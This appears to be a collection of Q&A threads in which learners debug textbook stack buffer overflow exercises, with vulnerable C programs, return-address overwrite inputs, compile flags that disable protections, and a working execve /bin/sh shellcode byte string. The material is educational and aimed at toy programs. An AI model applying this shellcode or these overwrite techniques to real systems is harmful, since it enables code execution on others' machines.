Cant exploit overflow in simple program (chapter2 shellcoder's handbook) - c

I am reading The shellcoder's Handbook and im currently at chapter 2 where i have a simple program to exploit by overflowing the expected input and then issuing a new location for the ret instruction so that the function return_input can be executed twice !
Here is the simple program made in C
void return_input (void)
{
char array[30];
gets (array);
printf(“%s\n”, array);
}
main()
{
return_input();
return 0;
}
And this is the disassembled version of the main fucntion where we can see the jump adress of the call function.
I use the following command and input the chars that overflow with the adress following them that should replace ret's content
But as you can see i do not run the return_input function twice instead it just prints out a question mark and says segmentation failed

gets read terminating byte in and replaced it with NULL byte and thus your desired ret was broken with that NULL byte.
The offset you saw in disassembly codes is NOT the real address, you compiled the program with PIE flag set so the real address may look like 0x55555????58a, that's why gdb didn't allow you to insert a break point because you might try to do b *0x58a or something. Compile with -no-pie would make life easier.

Related

Passing buffer overflow exploit string while program is running?

I'm doing a really simple example of buffer overflows, I have this code:
#include <stdio.h>
void secretFunction()
{
printf("Congratulations!\n");
printf("You have entered in the secret function!\n");
}
void echo()
{
char buffer[20];
printf("Enter some text:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
To start with, I compile this file with no stack protections, and aslr turned off:
gcc buf.c -o vuln_nostack -fno-stack-protector -m32 -no-pie
For exploiting this, we simply want to inject the memory adress of the secret function so that we can get to run it. This can be done with running the file with python generating the input:
$ python -c 'print "a"*32 + "\xd6\x91\x04\x08"' | ./vuln_nostack
Enter some text:
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑
Congratulations!
You have entered in the secret function!
Segmentation fault (core dumped)
Which hits my secret function. So this works.
But now the problem is that I want to to work with aslr as well, so I want to output the adress of the secret function at the start of the program, and then have the malicious input depend on that.
FOr that reason, I want to wait by inputting anything to the program, until I have seen what it has printed to me.
But if I now run the program where I just give the input manually while the program runs:
./vuln_nostack
Enter some text:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08
Segmentation fault (core dumped)
Then it simply handles my input correctly, and the value is not overflown. A segmentation error occurs, indicating that something is happening, but not the same direction to my secret function
I'm pretty new to overflows, and don't really understand why this is happening, when the python generated input actually works.
SO my question is whether there is a way to do this simple overflow "manually" while the program runs. Or if I will need to write some script (python perhaps) that can interact with this faulty program and give it correct input as it runs?
You say that your input is handled correctly in the second example but this is not the case, you can see that in the second time you ran the program, you got a segmentation fault, which means that you accessed memory which can't be deferenced(Either due to wrong memory protection or due to invalid memory address).
The reason that you failed to jump to secretFunction() on your second run, is that you were assuming that scanf parses escaped unicode values as unicode, but when you enter "\xd6" it is not parsed to a unicode value but it is parsed to 4 chars '' 'x' 'd' '6'. As you run on a 32 bit machine this is the address the program tries to execute which probably leads to a segfault as this memory is most likely not valid nor executable.
Just an idea on how to overcome ASLR without connecting with gdb after running the program and looking for the address the program was loaded to - you can try overflowing only the lower 2 bytes, as if I am not mistaken only the 2 upper bytes are randomized with ASLR, hence you only need to overflow the "offset" which is constant even with ASLR.
Here is some learning material regarding stack overflows:
https://insecure.org/stf/smashstack.html

Simple shellcode not working

I have the following code which is supposed to drop a shell, however, after I run the code nothing appears to happen. Here is the code that I have. This was taken from the shellcoder's handbook.
`
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}`
I compile it using gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
When I run it the following happens.
The expected result is the following.
Here is the code that produces the above results:
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
I am not sure why this is happening. I am using Ubuntu on Windows 10. This might not effect my results but I have disabled ASLR. That might be an issue. I have not tried this on a VM just yet. I wanted to try and figure out why this is not working before I did that. If this is unclear please let me know and I will be happy to clarify any details.
I appreciate all of your help in advance.
--UPDATE--
I was able to get the assembly instructions from the shellcode I provided.
Does anyone see any issues that would cause a shell not to be dropped?
With the help of a colleague we were able to figure out why the shellcode was not executing. The shellcode is fine, the issue was actually an update to the gcc compiler which changes how the prolog/epilog are handled when code executes. When a program starts, the compiler-generated code puts the return address on the stack, but it does so using a new pattern. The executing program no longer uses the return addresses directly by popping it into the instruction pointer (IP). Instead, it pops the stack value into %ecx and then uses the contents at the address %ecx-4 (for 32-bit machines) as the return address. Therefore, the way I was trying to do it was never going to work even with the protections turned off. This behavior only affects main() and not functions called by main. So a simple solution would be to place the contents of main into another function foo() and call foo() from main() as depicted below.
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void foo()
{
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)shellcode;
}
int main()
{
foo();
}
Here is a question that is related to this answer.
Understanding new gcc prologue
There are couple of things that could go wrong here:
The store of the shell code address is optimized away because it is derived from a stack variable, and nothing reads from the stack afterwards.
The store is optimized away because it is out of bounds.
The offset calculation from the local variable is wrong, so the shellcode address does not overwrite the return address. (This is what happens when I compile your example.)
The execution is redirect, but the shellcode does not run because it is located in the non-executable .data segment. (That would cause the process to terminate with a signal, though).

buffer overflow exploit change function call

I am trying to perform a buffer overflow to change the call from function A to function B. Is this do-able? I know I will have to figure out how many bytes I have to enter until I have control over the return pointer, and figure out the address of function B. Is it possible to alter it so that after "x==10" we inject function B's address instead of functionA?
Edit:
Is it possible that after fillbuff is called, instead of returning to main, we send it to function B?
Any hints is appreciated.
int fillBuff(int x){
char buff[15];
puts("Enter your name");
gets(buff);
return(x + 5);
}
void functionA(){
puts("I dont want to be here");
exit(0);
}
void functionB(){
printf("I made it!");
exit(0);
}
int main(){
int x;
x = fillbuff(5);
if (x == 10){
functionA();
}
}
Here is an article that shows how to do it: http://insecure.org/stf/smashstack.html.
Compile your program like this: gcc -g -c program.c (with the -g)
and run gdb ./a.out. After, run the command disas main. You should see the disassemble of your code and how it is organized in your memory. You can replace the main function to any other function and see its code.
For more information about disassemble see: https://sourceware.org/gdb/onlinedocs/gdb/Machine-Code.html
Running GDB and disassembling the functions on my computer, the address of functionA() is 0x400679 and the address of functionB() is 40068a. If you see the disassemble code of main function, there is a call to the address 0x400679, and what you want is to change it to 40068a.
Basically, you have to overflow the buffer in function fillBuff and after reaching the space of the pointer, you have to fill with the address. The article shows how to do it.
Buffer overflows are undefined behavior in C. Nothing is guaranteed to occur when you buffer overflow, and as far as I'm aware the language doesn't require a specific memory layout for local variables and/or stored return addresses. In addition to this, some compilers insert stack protectors to make buffer overflow attacks more difficult.
If you want to have defined behavior, you are going to need to look at the assembly produced and figure out what a buffer overflow is going to do. Based on the assembly produced, you can determine the stack layout and the address layout and try to overwrite the return address with a different function's address.
If you're using GCC, the command line option to print out the assembly is -Wa,-al. If you want Intel syntax, add -masm=intel.

Forcing a program to call a function in C with an input string

So I'm doing an exercise where I want to call the function void not_called() just by inputting a buffer. Basically what I want to do is use a buffer overflow to call not_called(). I'm approaching this by using a binary exploit string then using a program hex2raw (takes hex format then turns it into the ASCII for decimal digit.) I'm then going to put that binary exploit string into a .txt file, then use a series of pipes in the unix terminal to call not_called() like so:
cat exploit.txt | ./hex2raw | ./nameofpgrm
So what I'm struggling with is finding that binary exploit string. I think what I need to do is find the location in memory where not_called is called with an objdump, but I'm not sure. Any help on what I can do? I know I'm going to have to use gdb to find it. I just don't really know where to look.
#include <stdlib.h>
#include <stdio.h>
void echo();
/* Main program */
int main() {
while (1)
echo();
return(0); // never called
} // main
/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
int c = getchar();
char *p = dest;
while (c != EOF && c != '\n') {
*p++ = c;
c = getchar();
}
*p = '\0';
return dest;
} // mygets
/* Echo Line */
void echo() {
char buf[4]; /* Way too small */
mygets(buf);
puts(buf);
} // echo
void not_called() {
printf("This routine is never called\n");
printf("If you see this message, something bad has happend\n");
exit(0);
} // not_called
You want to overwrite the return address from the function echo with bytes read from stdin so that is now points to not_called entry point.
Let's use for example Mac OS/X 10.10 aka Yosemite. I simplified the code and added an extra printf to get the actual address of the function not_called:
#include <stdlib.h>
#include <stdio.h>
void echo(void) {
char buf[4]; /* Way too small */
gets(buf);
puts(buf);
}
void not_called(void) {
printf("This routine is never called\n");
printf("If you see this message, something bad has happened\n");
exit(0);
}
int main(void) {
printf("not_called is at address %p\n", not_called);
echo();
}
Let's compile and execute this code using clang:
chqrlie> clang t20.c && ./a.out
The output is quite clear:
not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.
Using a hex editor, let's coin the input and paste it to the console: the short buffer buf aligned on 64 bits, 8 bytes below the saved copy of the stack frame pointer rbp, itself followed by the return address we want to overwrite. The input in hex is for example:
0000 3031 3233 3435 3637-3839 3031 3233 3435 0123456789012345
0010 50de da06 0100 0000- P��.....
Let's paste these 24 bytes to the console and hit enter:
0123456789012345P��^F^A^#^#^#
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11
Function echo uses gets to read stdin, the 24 bytes are stored beyond the end of buf, overwriting the frame pointer rbp, the return address, and an extra 0 byte. echo then calls puts to output the string in buf. Output stops at the first "'\0'" as expected. rbp is then restored from the stack and gets a corrupt value, control is transferred to the return address. The return address was overwritten with that of function not_called, so that's what gets executed next. Indeed we see the message from function not_called and for some reason exit crashes instead of exiting the process gracefully.
I used gets on purpose so readers understand how easy it to cause buffer overflows with this function. No matter how big the buffer, input can be coined to crash the program or make it do interesting things.
Another interesting find is how Mac OS/X tries to prevent attackers from using this trick too easily: the address printed by the program varies from one execution to the next:
chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.
The code is loaded at a different address each time, chosen randomly.
The input required to make function echo return to not_called is different each time. Try your own OS and check if it uses this trick. Try coining the appropriate input to get the job done (it depends on your compiler and your system). Have fun!

Dilemma with Buffer overflow

I was experimenting with a code described in the "Shell coders handbook" where you overflow a buffer and cause the same code to be executed twice...
void return_input (void)
{ char array[5];
gets (array);
printf(“%s\n”, array);
}
main()
{
return_input();
return 0;
}
The task was to overwrite the buffer and to replace the address of 'return 0' with the address of 'return_input()' so that the entered string is printed twice..
i compiled it as follows
gcc -fno-stack-protector overflow.c
to override the protection mechanisms. The problem is i cant get it to execute twice. in this case the address of the function ri() is at 0x08048440 . I gave the input as follows
./a.out
aaaaaaaaaaaaa\x40\x84\x04\x08
shouldnt this cause the function to be called twice?? It always returns
aaaaaaaaaaaaaaaa��
Segmentation fault (core dumped)
How can i overflow the buffer to call the function twice?
\x40\x84\x04\x08 is not supported. You should use some other program to translate the hex input to bytes.
If you are using bash, you can try echo -e '\x40\x84\x04\x08' | ./a.out. I found that solution at linux shell scripting: hex string to bytes
By definition, the behavior of a buffer overflow is unpredictable. You will only get the same behavior if you happen to be using the same version of the same compiler with the same settings on the same OS, etc., etc.
based on your machine type , you might need to adjust.
http://www.tenouk.com/Bufferoverflowc/Bufferoverflow4.html

Resources